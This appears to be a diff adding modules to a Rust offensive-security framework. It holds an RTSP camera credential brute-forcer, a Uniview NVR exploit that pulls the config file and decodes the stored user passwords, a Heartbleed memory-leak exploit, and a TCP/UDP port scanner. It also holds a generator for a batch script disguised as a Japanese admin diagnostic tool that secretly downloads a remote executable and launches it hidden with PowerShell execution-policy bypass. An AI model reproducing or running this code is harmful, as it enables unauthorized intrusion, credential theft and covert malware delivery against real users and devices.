||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
//------------------------------
|
||||
// 5) Show Results / Save
|
||||
//------------------------------
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found (with these paths).");
|
||||
} else {
|
||||
println!("\n[+] Valid credentials (and paths):");
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
|
||||
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we can’t connect/parse response.
|
||||
async fn try_rtsp_login(
|
||||
addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
// Parse the address to confirm it's valid
|
||||
let socket_addr: SocketAddr = addr.parse()
|
||||
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
|
||||
|
||||
// Open TCP connection to camera
|
||||
let mut stream = TcpStream::connect(socket_addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
|
||||
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
|
||||
// Build path portion (some cameras expect the path in the request line).
|
||||
// If path is empty, we skip it. Or default to / if you want.
|
||||
let path_str = if path.is_empty() {
|
||||
"" // or "/"
|
||||
} else {
|
||||
path
|
||||
};
|
||||
|
||||
// Build Basic Auth
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
// Build the RTSP request line
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
addr = addr,
|
||||
path = path_str.trim_start_matches('/'), // avoid double slash
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
// Append extra headers if advanced mode is on
|
||||
for header in extra_headers {
|
||||
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
// End with a blank line
|
||||
request.push_str("\r\n");
|
||||
|
||||
// Send request
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
|
||||
// Read response
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Server closed connection unexpectedly."));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
// Very naive checks
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("Unexpected RTSP response:\n{}", response))
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a required field (no default allowed).
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("This field is required.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompts the user for a value with a default fallback.
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
/// Prompts the user for a yes/no question, with a default answer.
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default);
|
||||
std::io::Write::flush(&mut std::io::stdout())?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("Invalid input. Please enter 'y' or 'n'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Loads a file, returning non-empty lines in a Vec.
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
/// Prints log messages only in verbose mode.
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns a PathBuf in the current directory for the given filename.
|
||||
fn get_filename_in_current_dir(input: &str) -> PathBuf {
|
||||
let name = Path::new(input)
|
||||
.file_name()
|
||||
.unwrap_or_default()
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
PathBuf::from(format!("./{}", name))
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
@@ -0,0 +1,147 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
|
||||
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
|
||||
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
|
||||
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
|
||||
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
|
||||
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
|
||||
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
|
||||
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
|
||||
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
|
||||
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
|
||||
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
|
||||
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
|
||||
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
|
||||
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
|
||||
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
|
||||
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
encoded
|
||||
.split(';')
|
||||
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
|
||||
// Ensure the target has a proper scheme
|
||||
let target = if target.starts_with("http://") || target.starts_with("https://") {
|
||||
target.to_string()
|
||||
} else {
|
||||
format!("http://{}", target)
|
||||
};
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(10))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[+] Getting model name and software version...");
|
||||
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_resp = client.get(&version_url).send().await?;
|
||||
let version_text = version_resp.text().await?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open success.txt log file")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
println!("\n[+] Getting configuration file...");
|
||||
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
|
||||
let config_resp = client.get(&config_url).send().await?;
|
||||
let config_text = config_resp.text().await?;
|
||||
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
|
||||
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
|
||||
println!("_____________________________________________________________________________");
|
||||
|
||||
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
|
||||
writeln!(log, "_____________________________________________________________________________").ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event() {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut userpass = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => {
|
||||
username = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"UserPass") => {
|
||||
userpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
k if k == QName(b"RvsblePass") => {
|
||||
revpass = std::str::from_utf8(&attr.value)?.to_string();
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
|
||||
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\n[+] Number of users found: {}", total_users);
|
||||
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
|
||||
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
|
||||
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str, port: u16) -> Result<()> {
|
||||
println!("[*] Connecting to {}:{}...", target, port);
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
let hello = build_client_hello();
|
||||
stream.write_all(&hello).await?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => { /* Client Hello response received, continue */ },
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
let heartbeat = build_heartbeat_request(0x4000);
|
||||
stream.write_all(&heartbeat).await?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
|
||||
let path = Path::new(&filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod heartbleed;
|
||||
@@ -1 +1,4 @@
|
||||
pub mod generic;
|
||||
pub mod sample_exploit;
|
||||
pub mod payloadgens;
|
||||
pub mod camera;
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
pub mod payloadgenbat;
|
||||
@@ -0,0 +1,133 @@
|
||||
//! Build a two‑stage prank/diagnostic BAT script with stealth download & run.
|
||||
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
|
||||
/// Read a trimmed line from stdin
|
||||
fn prompt(msg: &str) -> Result<String> {
|
||||
print!("{msg}");
|
||||
io::stdout().flush().ok();
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_owned())
|
||||
}
|
||||
|
||||
/// Build the BAT contents (injecting URL & PS1 filename)
|
||||
fn build_script(url: &str, ps1_name: &str) -> String {
|
||||
// Template with placeholders {{URL}} and {{OUTFILE}}
|
||||
let tpl = r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
title [管理者診断ユーティリティ]
|
||||
color 0A
|
||||
|
||||
echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] 初期化中...
|
||||
timeout /t 2 >nul
|
||||
|
||||
:: Fake diagnostic functions
|
||||
echo [INFO] ネットワークスタック確認中...
|
||||
netsh winsock show catalog >nul
|
||||
echo [INFO] システムリソースの照会...
|
||||
fsutil behavior query DisableDeleteNotify >nul
|
||||
echo [INFO] DCOM設定の確認...
|
||||
dcomcnfg /32 >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] ユーザーアクティビティを確認中...
|
||||
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] 不審な接続をスキャン中...
|
||||
netstat -bno >nul
|
||||
route print >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] システムサービス確認中...
|
||||
sc queryex type= service >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
echo [INFO] WMI チェック中...
|
||||
wmic logicaldisk get caption,filesystem,freespace,size >nul
|
||||
timeout /t 1 >nul
|
||||
|
||||
:: 50x random sub-sleeps
|
||||
echo [*] 詳細検証を実行中... (50 ステップ)
|
||||
for /l %%i in (1,1,50) do (
|
||||
set /a delay=(%%RANDOM%% %% 60) + 120
|
||||
powershell -Command "Start-Sleep -Milliseconds !delay!"
|
||||
)
|
||||
|
||||
:: Random delay before launching stage 2
|
||||
set /a mainDelay=(%%RANDOM%% %% 4) + 3
|
||||
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
|
||||
timeout /t %%mainDelay%% >nul
|
||||
|
||||
:: Build second stage BAT (stage2.bat)
|
||||
set "stage2=%%~dp0stage2.bat"
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal enabledelayedexpansion
|
||||
echo title 補助診断モジュール
|
||||
echo echo [*] ネットワークテストを再実行中...
|
||||
echo ping -n 2 1.1.1.1 ^>nul
|
||||
echo tracert -h 2 8.8.8.8
|
||||
echo ipconfig /flushdns
|
||||
echo timeout /t 2 ^>nul
|
||||
echo echo [*] ランダム遅延を実行中...
|
||||
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
|
||||
echo timeout /t !delay2! ^>nul
|
||||
echo echo [*] GitHub からモジュールを取得中...
|
||||
echo set "url={{URL}}"
|
||||
echo set "outfile=%%~dp0{{OUTFILE}}"
|
||||
echo powershell -Command ^
|
||||
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
|
||||
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
|
||||
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
|
||||
echo timeout /t 2 ^>nul
|
||||
echo echo [*] ステルス起動用VBSを生成中...
|
||||
echo ^(
|
||||
echo Set shell = CreateObject("WScript.Shell"^)
|
||||
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
|
||||
echo ^) ^> "%%~dp0launch_hidden.vbs"
|
||||
echo timeout /t 1 ^>nul
|
||||
echo echo [*] スクリプト実行中...
|
||||
echo cscript //nologo "%%~dp0launch_hidden.vbs"
|
||||
echo echo [*] 補助診断完了。
|
||||
) > "%%stage2%%"
|
||||
|
||||
:: Random delay before running stage 2
|
||||
set /a rdelay=(%%RANDOM%% %% 5) + 2
|
||||
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
|
||||
timeout /t %%rdelay%% >nul
|
||||
|
||||
:: Run stage2
|
||||
call "%%stage2%%"
|
||||
|
||||
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
|
||||
pause
|
||||
exit
|
||||
"#;
|
||||
|
||||
tpl.replace("{{URL}}", url)
|
||||
.replace("{{OUTFILE}}", ps1_name)
|
||||
}
|
||||
|
||||
/// Public entry point for the exploit dispatcher
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
// === Gather inputs ====================================================
|
||||
let out_bat = prompt("[+] Output BAT filename : ")?;
|
||||
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
|
||||
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
|
||||
|
||||
// === Generate script ===================================================
|
||||
let script = build_script(&raw_url, &ps1_name);
|
||||
fs::write(&out_bat, script)
|
||||
.with_context(|| format!("Could not write {}", out_bat))?;
|
||||
|
||||
println!("\n[+] Batch script saved to: {out_bat}");
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +1,3 @@
|
||||
pub mod sample_scanner;
|
||||
pub mod ssdp_msearch;
|
||||
pub mod port_scanner;
|
||||
|
||||
@@ -0,0 +1,190 @@
|
||||
use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write},
|
||||
net::SocketAddr,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
|
||||
/// Public interface to prompt user and run the scan
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let settings = prompt_settings()?;
|
||||
run(
|
||||
target,
|
||||
settings.concurrency,
|
||||
settings.timeout_secs,
|
||||
settings.show_only_open,
|
||||
settings.verbose,
|
||||
settings.scan_udp_enabled,
|
||||
&settings.output_file,
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
pub show_only_open: bool,
|
||||
pub verbose: bool,
|
||||
pub scan_udp_enabled: bool,
|
||||
pub output_file: String,
|
||||
}
|
||||
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency: ")?,
|
||||
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
|
||||
verbose: prompt_bool("Verbose output? (y/n): ")?,
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
|
||||
output_file: prompt("Output filename: ")?,
|
||||
})
|
||||
}
|
||||
|
||||
/// Main scanner logic
|
||||
pub async fn run(
|
||||
target: &str,
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
verbose: bool,
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
) -> Result<()> {
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = vec![];
|
||||
let mut file = File::create(output_file)?;
|
||||
writeln!(file, "Scan Results for {}\n", target)?;
|
||||
|
||||
println!("[*] Starting TCP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
|
||||
let line = format!("[TCP] {}:{} => {}", target, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
if !banner.is_empty() {
|
||||
writeln!(file, "{} | Banner: {}", line, banner).ok();
|
||||
if verbose {
|
||||
println!("{} | Banner: {}", line, banner);
|
||||
}
|
||||
} else {
|
||||
writeln!(file, "{}", line).ok();
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
|
||||
if scan_udp_enabled {
|
||||
println!("[*] Starting UDP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
|
||||
let line = format!("[UDP] {}:{} => {}", target, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
writeln!(file, "{}", line).ok();
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
println!("[*] Scan complete. Results saved to {}", output_file);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// TCP banner grabbing scanner
|
||||
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
let mut buf = [0; 1024];
|
||||
match timeout(Duration::from_secs(2), stream.readable()).await {
|
||||
Ok(Ok(())) => match stream.try_read(&mut buf) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
Some(("OPEN".into(), banner))
|
||||
}
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
},
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
}
|
||||
}
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// UDP port scanner (null packet, timeout-based)
|
||||
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
|
||||
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
|
||||
let socket = UdpSocket::bind(local).await.ok()?;
|
||||
|
||||
let _ = socket.send_to(b"\x00", remote).await;
|
||||
let mut buf = [0u8; 512];
|
||||
|
||||
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_n, _))) => Some("OPEN".into()),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for string
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
